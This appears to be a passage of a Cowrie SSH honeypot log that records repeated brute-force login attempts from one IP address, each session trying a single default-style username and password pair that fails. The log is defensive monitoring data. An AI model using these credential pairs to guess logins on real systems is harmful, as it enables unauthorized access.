{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:25:25.109920Z","src_ip":"213.209.159.158","session":"b5241af80cd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"bot321","message":"login attempt [bot/bot321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:25:51.712837Z","src_ip":"213.209.159.158","session":"b5241af80cd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"32.6","message":"Connection lost after 32.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:25:55.385463Z","src_ip":"213.209.159.158","session":"b5241af80cd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":16272,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f216b989e4f","protocol":"ssh","message":"New connection: 213.209.159.158:16272 (10.17.0.5:22) [session: 2f216b989e4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:25:55.599676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:25:55.947318Z","src_ip":"213.209.159.158","session":"2f216b989e4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:25:57.709588Z","src_ip":"213.209.159.158","session":"2f216b989e4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"backup.123","message":"login attempt [backup/backup.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:00.055654Z","src_ip":"213.209.159.158","session":"2f216b989e4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:02.187907Z","src_ip":"213.209.159.158","session":"2f216b989e4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":62304,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fd3eaf1cc6b","protocol":"ssh","message":"New connection: 213.209.159.158:62304 (10.17.0.5:22) [session: 0fd3eaf1cc6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:02.407329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:02.778882Z","src_ip":"213.209.159.158","session":"0fd3eaf1cc6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:03.885832Z","src_ip":"213.209.159.158","session":"0fd3eaf1cc6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yasir","password":"yasir","message":"login attempt [yasir/yasir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:06.296523Z","src_ip":"213.209.159.158","session":"0fd3eaf1cc6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:08.460257Z","src_ip":"213.209.159.158","session":"0fd3eaf1cc6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":62314,"dst_ip":"10.17.0.5","dst_port":22,"session":"63f64d06fbef","protocol":"ssh","message":"New connection: 213.209.159.158:62314 (10.17.0.5:22) [session: 63f64d06fbef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:08.679081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:09.041605Z","src_ip":"213.209.159.158","session":"63f64d06fbef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:10.478108Z","src_ip":"213.209.159.158","session":"63f64d06fbef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arthur","password":"arthur123","message":"login attempt [arthur/arthur123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:12.672585Z","src_ip":"213.209.159.158","session":"63f64d06fbef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:14.115504Z","src_ip":"213.209.159.158","session":"63f64d06fbef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":14158,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef8c275b9868","protocol":"ssh","message":"New connection: 213.209.159.158:14158 (10.17.0.5:22) [session: ef8c275b9868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:15.247397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:15.697665Z","src_ip":"213.209.159.158","session":"ef8c275b9868","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:15.700885Z","src_ip":"213.209.159.158","session":"ef8c275b9868","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alpha","password":"alpha","message":"login attempt [alpha/alpha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:17.607777Z","src_ip":"213.209.159.158","session":"ef8c275b9868","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:19.087987Z","src_ip":"213.209.159.158","session":"ef8c275b9868","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":14184,"dst_ip":"10.17.0.5","dst_port":22,"session":"97a038c49f6d","protocol":"ssh","message":"New connection: 213.209.159.158:14184 (10.17.0.5:22) [session: 97a038c49f6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:19.167717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:19.540042Z","src_ip":"213.209.159.158","session":"97a038c49f6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:19.543432Z","src_ip":"213.209.159.158","session":"97a038c49f6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ark","password":"arkserver","message":"login attempt [ark/arkserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:21.494944Z","src_ip":"213.209.159.158","session":"97a038c49f6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:22.920883Z","src_ip":"213.209.159.158","session":"97a038c49f6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":7848,"dst_ip":"10.17.0.5","dst_port":22,"session":"15e22a351171","protocol":"ssh","message":"New connection: 213.209.159.158:7848 (10.17.0.5:22) [session: 15e22a351171]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:23.010926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:23.414556Z","src_ip":"213.209.159.158","session":"15e22a351171","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:23.418080Z","src_ip":"213.209.159.158","session":"15e22a351171","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vnc","password":"vnc123","message":"login attempt [vnc/vnc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:25.488186Z","src_ip":"213.209.159.158","session":"15e22a351171","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:26.966095Z","src_ip":"213.209.159.158","session":"15e22a351171","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":7864,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f5fafb5150f","protocol":"ssh","message":"New connection: 213.209.159.158:7864 (10.17.0.5:22) [session: 4f5fafb5150f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:27.065634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:27.612516Z","src_ip":"213.209.159.158","session":"4f5fafb5150f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:27.616198Z","src_ip":"213.209.159.158","session":"4f5fafb5150f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vadmin","password":"vadmin","message":"login attempt [vadmin/vadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:29.532506Z","src_ip":"213.209.159.158","session":"4f5fafb5150f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:30.991683Z","src_ip":"213.209.159.158","session":"4f5fafb5150f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":34906,"dst_ip":"10.17.0.5","dst_port":22,"session":"024bef5cfb6b","protocol":"ssh","message":"New connection: 213.209.159.158:34906 (10.17.0.5:22) [session: 024bef5cfb6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:31.075660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:31.400010Z","src_ip":"213.209.159.158","session":"024bef5cfb6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 